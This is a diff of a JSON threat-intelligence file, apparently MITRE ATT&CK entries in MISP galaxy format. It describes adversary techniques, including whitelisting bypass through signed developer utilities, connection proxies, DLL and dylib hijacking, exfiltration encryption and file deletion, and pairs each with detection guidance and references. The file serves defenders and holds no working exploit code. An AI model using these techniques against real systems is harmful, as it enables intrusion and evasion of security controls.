Things Application Whitelisting Bypass]]\n\n===DNX===\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016.[[Citation: Microsoft Migrating from DNX]] DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX.[[Citation: engima0x3 DNX Bypass]]\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution.[[Citation: Microsoft Roslyn CPT RCSI]] The rcsi.exe binary is signed by Microsoft.[[Citation: engima0x3 RCSI Bypass]]\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe.[[Citation: engima0x3 RCSI Bypass]]\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools.[[Citation: Microsoft Debugging Tools for Windows]] They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities.[[Citation: Exploit Monday WinDbg]]\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\nDetection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring\n\nContributors: Casey Smith", + "description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap.[[Citation: Trend Micro APT Attack Tools]]\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture\n\nContributors: Walker Johnson", "meta": { "mitre_data_sources": [ - "Process monitoring" + "Process use of network", + "Process monitoring", + "Netflow/Enclave netflow", + "Packet capture" ], "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", "Windows Server 2012", "Windows XP", "Windows 7", "Windows 8", + "Windows Server 2003 R2", "Windows Server 2008 R2", "Windows Server 2012 R2", "Windows Vista", "Windows 8.1", - "Windows 10" + "Linux", + "Windows 10", + "MacOS", + "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1127", - "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", - "https://msdn.microsoft.com/library/dd722601.aspx", - "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/", - "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index", - "https://github.com/subTee/AllTheThings", - "https://msdn.microsoft.com/library/dd393574.aspx", - "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", - "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", - "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx" + "https://attack.mitre.org/wiki/Technique/T1090", + "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" ], - "uuid": "ff25900d-76d5-449b-a351-8824e62fc81b" + "uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea" }, - "value": "Trusted Developer Utilities" + "value": "Connection Proxy" }, { - "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters", + "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n===Mac===\n\nOn OSX, the native command screencapture is used to capture screenshots.\n\n===Linux===\n\nOn Linux, there is the native command xwd.[[Citation: Antiquated Mac Malware]]\n\nDetection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, File monitoring", "meta": { "mitre_data_sources": [ + "API monitoring", "Process monitoring", - "Process command-line parameters" + "File monitoring" ], "mitre_platforms": [ "Windows Server 2003", @@ -674,19 +3487,53 @@ "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1016" + "https://attack.mitre.org/wiki/Technique/T1113", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" ], - "uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0" + "uuid": "0259baeb-9f63-4c69-bf10-eb038c390688" }, - "value": "System Network Configuration Discovery" + "value": "Screen Capture" }, { - "description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. The account used to create the task must be in the Administrators group on the local system. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on.Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM, Administrator", + "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.[[Citation: Wikipedia Code Signing]] However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries[[Citation: Janicab]]. The certificates used during an operation may be created, forged, or stolen by the adversary.[[Citation: Securelist Digital Certificates]][[Citation: Symantec Digital Certificates]]\n\nCode signing to verify software on first run can be used on modern Windows and MacOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform.[[Citation: Wikipedia Code Signing]]\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.\n\nDetection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: Binary file metadata", + "meta": { + "mitre_data_sources": [ + "Binary file metadata" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1116", + "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates", + "https://securelist.com/blog/security-policies/68593/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/", + "http://www.thesafemac.com/new-signed-malware-called-janicab/", + "https://en.wikipedia.org/wiki/Code%20signing" + ], + "uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + "value": "Code Signing" + }, + { + "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, File monitoring, API monitoring", "meta": { "mitre_data_sources": [ - "File monitoring", "Process monitoring", - "Process command-line parameters" + "File monitoring", + "API monitoring" ], "mitre_platforms": [ "Windows Server 2003", @@ -703,23 +3550,55 @@ "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1053", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "https://technet.microsoft.com/en-us/library/cc785125.aspx" + "https://attack.mitre.org/wiki/Technique/T1125" ], - "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9" + "uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf" }, - "value": "Scheduled Task" + "value": "Video Capture" }, { - "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow compatibility of programs as Windows updates and changes its code. For example, application shimming feature that allows programs that were created for Windows XP to work with Windows 10. Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses API hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDll), and intercept memory addresses (GetProcAddress). Utilizing these shims, an adversary can perform several malicious acts, such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\n\nDetection: There are several public tools available that will detect shims that are currently available[[Citation: Black Hat 2015 App Shim]]:\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters", + "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol\n\nDetection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted.[[Citation: Zhang 2013]] If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers.[[Citation: Wikipedia File Header Signatures]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata", "meta": { "mitre_data_sources": [ - "Loaded DLLs", - "System calls", - "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1022", + "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf", + "https://en.wikipedia.org/wiki/List%20of%20file%20signatures" + ], + "uuid": "d54416bd-0803-41ca-870a-ce1af7c05638" + }, + "value": "Data Encrypted" + }, + { + "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems.[[Citation: Wikipedia Binary-to-text Encoding]][[Citation: Wikipedia Character Encoding]] Some data encoding systems may also result in data compression, such as gzip.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis\n\nContributors: Itzik Kotler, SafeBreach", + "meta": { + "mitre_data_sources": [ + "Packet capture", + "Process use of network", "Process Monitoring", - "Process command-line parameters" + "Network protocol analysis" ], "mitre_platforms": [ "Windows Server 2003", @@ -733,56 +3612,81 @@ "Windows Server 2012 R2", "Windows Vista", "Windows 8.1", - "Windows 10" + "Linux", + "Windows 10", + "MacOS", + "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1138", - "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf" + "https://attack.mitre.org/wiki/Technique/T1132", + "https://en.wikipedia.org/wiki/Character%20encoding", + "https://en.wikipedia.org/wiki/Binary-to-text%20encoding", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" ], - "uuid": "1e16e6fe-c0d9-4d9a-b112-9ac5ce3bdfdc" + "uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" }, - "value": "Application Shimming" + "value": "Data Encoding" }, { - "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB)[[Citation: Wikipedia SMB]] and Remote Procedure Call Service (RPCS)[[Citation: TechNet RPC]] for remote access. RPCS operates over port 135.[[Citation: MSDN WMI]]\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for [[Discovery]] and remote [[Execution]] of files as part of [[Lateral Movement]].[[Citation: FireEye WMI 2015]]\n\nDetection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior.[[Citation: FireEye WMI 2015]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Authentication logs", - "Netflow/Enclave netflow", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1047", - "https://msdn.microsoft.com/en-us/library/aa394582.aspx", - "https://en.wikipedia.org/wiki/Server%20Message%20Block", - "https://technet.microsoft.com/en-us/library/cc787851.aspx", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" - ], - "uuid": "01a5a209-b94c-450b-b7f9-946497d91055" - }, - "value": "Windows Management Instrumentation" - }, - { - "description": "Data or executables may be stored in New Technology File System (NTFS) partition metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.[[Citation: Journey into IR ZeroAccess NTFS EA]]\n\nThe NTFS format has a feature called Extended Attributes (EA), which allows data to be stored as an attribute of a file or folder.[[Citation: Microsoft File Streams]]\n\nDetection: Forensic techniques exist to identify information stored in EA.[[Citation: Journey into IR ZeroAccess NTFS EA]] It may be possible to monitor NTFS for writes or reads to NTFS EA or to regularly scan for the presence of modified information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Kernel drivers", + "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools.[[Citation: Trend Micro APT Attack Tools]]\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters, Binary file metadata\n\nContributors: Walker Johnson", "meta": { "mitre_data_sources": [ "File monitoring", - "Kernel drivers" + "Process command-line parameters", + "Binary file metadata" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1107", + "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + ], + "uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + "value": "File Deletion" + }, + { + "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself[[Citation: Writing Bad Malware for OSX]][[Citation: Malware Persistence on OS X]].\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\n\nDetection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring\n\nEffective Permissions: Administrator, root", + "meta": { + "mitre_data_sources": [ + "File monitoring" + ], + "mitre_platforms": [ + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1157", + "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", + "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf" + ], + "uuid": "0375badc-b2da-4438-b0c5-1e6c6b3285a3" + }, + "value": "Dylib Hijacking" + }, + { + "description": "DLL injection is used to run code in the context of another process by causing the other process to load and execute code. Running code in the context of another process provides adversaries many benefits, such as access to the process's memory and permissions. It also allows adversaries to mask their actions under a legitimate process. A more sophisticated kind of DLL injection, reflective DLL injection, loads code without calling the normal Windows API calls, potentially bypassing DLL load monitoring. Numerous methods of DLL injection exist on Windows, including modifying the Registry, creating remote threads, Windows hooking APIs, and DLL pre-loading.PowerShell with tools such as PowerSploit,[[Citation: Powersploit]] so additional PowerShell monitoring may be required to cover known implementations of this behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM", + "meta": { + "mitre_data_sources": [ + "API monitoring", + "Windows Registry", + "File monitoring", + "Process monitoring" ], "mitre_platforms": [ "Windows Server 2003", @@ -799,13 +3703,14 @@ "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1096", - "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html", - "http://msdn.microsoft.com/en-us/library/aa364404" + "https://attack.mitre.org/wiki/Technique/T1055", + "http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces", + "http://en.wikipedia.org/wiki/DLL%20injection", + "https://github.com/mattifestation/PowerSploit" ], - "uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d" + "uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" }, - "value": "NTFS Extended Attributes" + "value": "DLL Injection" }, { "description": "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons[[Citation: AppleDocs Launch Agent Daemons]]. These LaunchDaemons have property list files which point to the executables that will be launched[[Citation: Methods of Mac Malware Persistence]].\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories[[Citation: OSX Malware Detection]]. The daemon name may be disguised by using a name from a related operating system or benign software [[Citation: WireLurker]]. Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.\n\nDetection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.\n\nPlatforms: MacOS, OS X\n\nData Sources: Process Monitoring, File monitoring\n\nEffective Permissions: root", @@ -829,6 +3734,40 @@ }, "value": "Launch Daemon" }, + { + "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis", + "meta": { + "mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Process monitoring", + "Network protocol analysis" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1001", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + "value": "Data Obfuscation" + }, { "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.\n\n===Windows===\n\nAn example command that would obtain details on processes is \"tasklist\" using the Tasklist utility.\n\n===Mac and Linux===\n\nIn Mac and Linux, this is accomplished with the ps command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters", "meta": { @@ -860,6 +3799,104 @@ }, "value": "Process Discovery" }, + { + "description": "Collected data is staged in a central location or directory prior to Data Compressed or Data Encrypted.\n\nInteractive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nDetection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows 